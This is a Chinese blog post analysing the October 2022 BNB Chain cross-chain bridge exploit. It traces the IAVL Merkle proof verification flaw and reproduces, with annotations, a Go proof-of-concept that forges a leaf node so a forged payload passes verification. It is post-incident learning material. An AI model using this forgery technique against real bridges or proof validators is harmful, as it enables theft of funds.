# 邯郸学步小记--BSC 跨链攻击分析

By [lgrok](https://paragraph.com/@lgrok) · 2022-10-14

---

废话
--

2022年10月7号的早晨，国庆的尾巴，在安总的群里看到了BNB被攻击的信息。追了下攻击哈希，看到了除了正常的跨链发币，没有什么异常行为。怀疑是默克尔树验证的时候出了问题。一周过去了，跟着大佬们的节奏分析下攻击者的行为。

身份信息
----

攻击者地址：0x489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec

攻击hash：0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b

做了什么
----

攻击者首先花费了100BNB注册成为bsc的relayer,交易hash：

0xe1fe5fef26e93e6389910545099303e4fee774427d9e628d2aab80f1b53396d6

然后构造一个payload，通过handlePackage方法完成攻击。

![调用栈](https://storage.googleapis.com/papyrus_images/128712f3a9944d1eec7f7e7698e792902f04e73719ae2a5b68813559c825f42b.png)

调用栈

技术分析
----

刚进入handalPackage函数，首先检查了默克尔树的证明。

跟一下validateMerkleProof,通过合约内部的解析，整合参数调用预编译合约0x65 validateMerkleProof合约，预编译合约的默认入口为run方法。

![预编译0x65](https://storage.googleapis.com/papyrus_images/0ba705c254d2b65b45c0b73466fef4a0c1b4f77c72253292cfc2a57755063ef0.png)

预编译0x65

然后呢我们就需要去bsc 虚拟机的代码中，跟一下这个预编译合约的逻辑，可以看到0x65指向iavlMerkleProofValidate。

    // PrecompiledContractsIstanbul contains the default set of pre-compiled Ethereum
    // contracts used in the Istanbul release.
    var PrecompiledContractsIstanbul = map[common.Address]PrecompiledContract{
        common.BytesToAddress([]byte{1}): &ecrecover{},
        common.BytesToAddress([]byte{2}): &sha256hash{},
    ...
        common.BytesToAddress([]byte{9}): &blake2F{},
    
        common.BytesToAddress([]byte{100}): &tmHeaderValidate{},
        common.BytesToAddress([]byte{101}): &iavlMerkleProofValidate{},
    }
    

链上0x00000…0002000 会调用iavlMerkleProofValidate.Run方法,将解析传入参数，并调用kvmp.Validate方法，参数解析如下图

![payload](https://storage.googleapis.com/papyrus_images/2c9123edfc94fce0f1b18ed3e7afb31018a6d4a29a99331431239d7797edc696.png)

payload

    // input:
    // | payload length | payload    |
    // | 32 bytes       |            |
    func (c *iavlMerkleProofValidate) Run(input []byte) (result []byte, err error) {
    ......
        kvmp, err := lightclient.DecodeKeyValueMerkleProof(input[precompileContractInputMetaDataLength:])
        if err != nil {
            return nil, err
        }
    
        valid := kvmp.Validate()
    ......
    }
    

kvmp.Validate→prt.VerifyValue→prt.Verify的调用链，在prt.Verify中使用DecodeProof方法解析出payload的两个操作iavl:v、multistore。

![decode operater ](https://storage.googleapis.com/papyrus_images/6d3ca91adf368eb2310f88a0f32a9fe8ecdfd9444c4fd185fac87b25a3d18651.png)

decode operater

获取操作之后，会调用对应op的Verify方法也就是IAVLValueOp.Run和xxxxx.Run,两个op的逻辑基本一样，计算默克尔树的根hash，验证是否存在，然后调用VerifyItem验证了下节点。

问题出现在tendermint的IAVL+树的验证只需要通过LeftPath加上左叶子节点的hash计算出根节点的hash，右叶子节点的添加对整个默克尔树的验证不存在影响。

参照samczsun大佬的验证文档

[https://gist.github.com/samczsun/8635f49fac0ec66a5a61080835cae3db](https://gist.github.com/samczsun/8635f49fac0ec66a5a61080835cae3db)

    //主函数修改了一些地方，应该更好理解一些，加一些国语备注，应该更好理解些
    func main() {
        // samczsun大佬重新找的伪造块
    https://bscscan.com/tx/0xe93f7c385e2510007f0b9319f001fed0fc1d718604fbab5c8afaa55fe0bfb624
    //合法的payload
        legitPayloadBytes := mustDecode("0x00000000000000000000000000000000000000000000000000000e35fa931a0000f86ea0424e42000000000000000000000000000000000000000000000000000000000094000000000000000000000000000000000000000088018fb570626fa400942218ffe5fd6215aefb988c5130b109047ef903cc943cf604378ded77537f02ed2d082a609a0235864b84633f540c")
    //合法的证明
        legitProofBytes := mustDecode("0x0af8090a066961766c3a76120e00000100380200000000010dda4d1add09db090ad8090a2f081910978cb90818a6b892810122206a972442231cdcbd083f53f5b6e7d1364d01a7c3e39481a393663421d9d91e730a2f081810c5cdba0518a6b89281012220015e9258171...08a9b8928101122065a9c4ae2bba63d233c7fc28d81151880b0a4533df8cbed77660356ae0aa7c5b")
    //伪造的payload
        forgedPayloadBytes := mustDecode("0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")
    //伪造payload HASH
        forgedValueHash := tmhash.Sum(forgedPayloadBytes)
    //根据证明生成IAVL操作类
        legitValueOp := getValueOp(legitProofBytes)
        forgedValueOp := getValueOp(legitProofBytes)
    
        // we do a little forging
    //伪造一个叶子节点
    //首先复制一个叶子节点
        forgedLeafNode := getValueOp(legitProofBytes).Proof.Leaves[0]
    //给伪造的叶子节点Key赋值
        forgedLeafNode.Key = append([]byte(nil), []byte(forgedValueOp.GetKey())...)
    //修改伪造的叶子节点key的最后一位，理论上应该大于默克尔树的最后一个叶子节点，此处原作者赋值255，改为253也能通过验证
        forgedLeafNode.Key[13] = 253
    //伪造叶子节点的ValueHash赋值
        forgedLeafNode.ValueHash = forgedValueHash
    //查看伪造叶子节点的hash
        fmt.Println(forgedLeafNode.Hash())
    //将伪造的叶子节点添加到伪造树的叶子数组
        forgedValueOp.Proof.Leaves = append(forgedValueOp.Proof.Leaves, forgedLeafNode)
    //InnerNodes 因为增加了新的右节点，所以需要在证明树中增加InnerNode nil
        forgedValueOp.Proof.InnerNodes = append(forgedValueOp.Proof.InnerNodes, iavl.PathToLeaf{})
        //forgedValueOp.Proof.LeftPath[len(forgedValueOp.Proof.LeftPath)-1].Right = mustDecode("A038FCFB3DD5C419DF679CE76FDAB39D21149069D037C39034CEF55AFDB9631B")
    //将伪造的右节点hash插入到上层中间节点的Right中	forgedValueOp.Proof.LeftPath[len(forgedValueOp.Proof.LeftPath)-1].Right = forgedLeafNode.Hash()
    //开始验证过程并验证伪造节点是否能够通过验证。
        rootHash := legitValueOp.Proof.ComputeRootHash()
        verifyErr := legitValueOp.Proof.Verify(rootHash)
        fmt.Printf("legitOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr)
    
        rootHash = forgedValueOp.Proof.ComputeRootHash()
        verifyErr = forgedValueOp.Proof.Verify(rootHash)
        fmt.Printf("forgedOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr)
    
        {
            verifyErr = legitValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes)
            fmt.Printf("legit verifyErr=%v\n", verifyErr)
            verifyErr = legitValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes)
            fmt.Printf("forged verifyErr=%v\n", verifyErr)
        }
    
        {
            verifyErr = forgedValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes)
            fmt.Printf("legit verifyErr=%v\n", verifyErr)
            verifyErr = forgedValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes)
            fmt.Printf("forged verifyErr=%v\n", verifyErr)
        }
    }
    

自己的思考
-----

知识盲区较多，理解环境吃力。这次分析涉及到的知识点比较多，有go基础语法和编译环境、预编译合约、bsc跨链原理、默克尔树的证明、IAVL+树操作。每一个知识点自己还是不太适应。需要学会像samczsun一样理解5%就能够做好分析的功力。相信5%也是来自长久的经验积累。

参考
--

[https://gist.github.com/samczsun/8635f49fac0ec66a5a61080835cae3db](https://gist.github.com/samczsun/8635f49fac0ec66a5a61080835cae3db)

《区块链架构与实现：Cosmos详解》(温隆，贾音)

---

*Originally published on [lgrok](https://paragraph.com/@lgrok/bsc)*
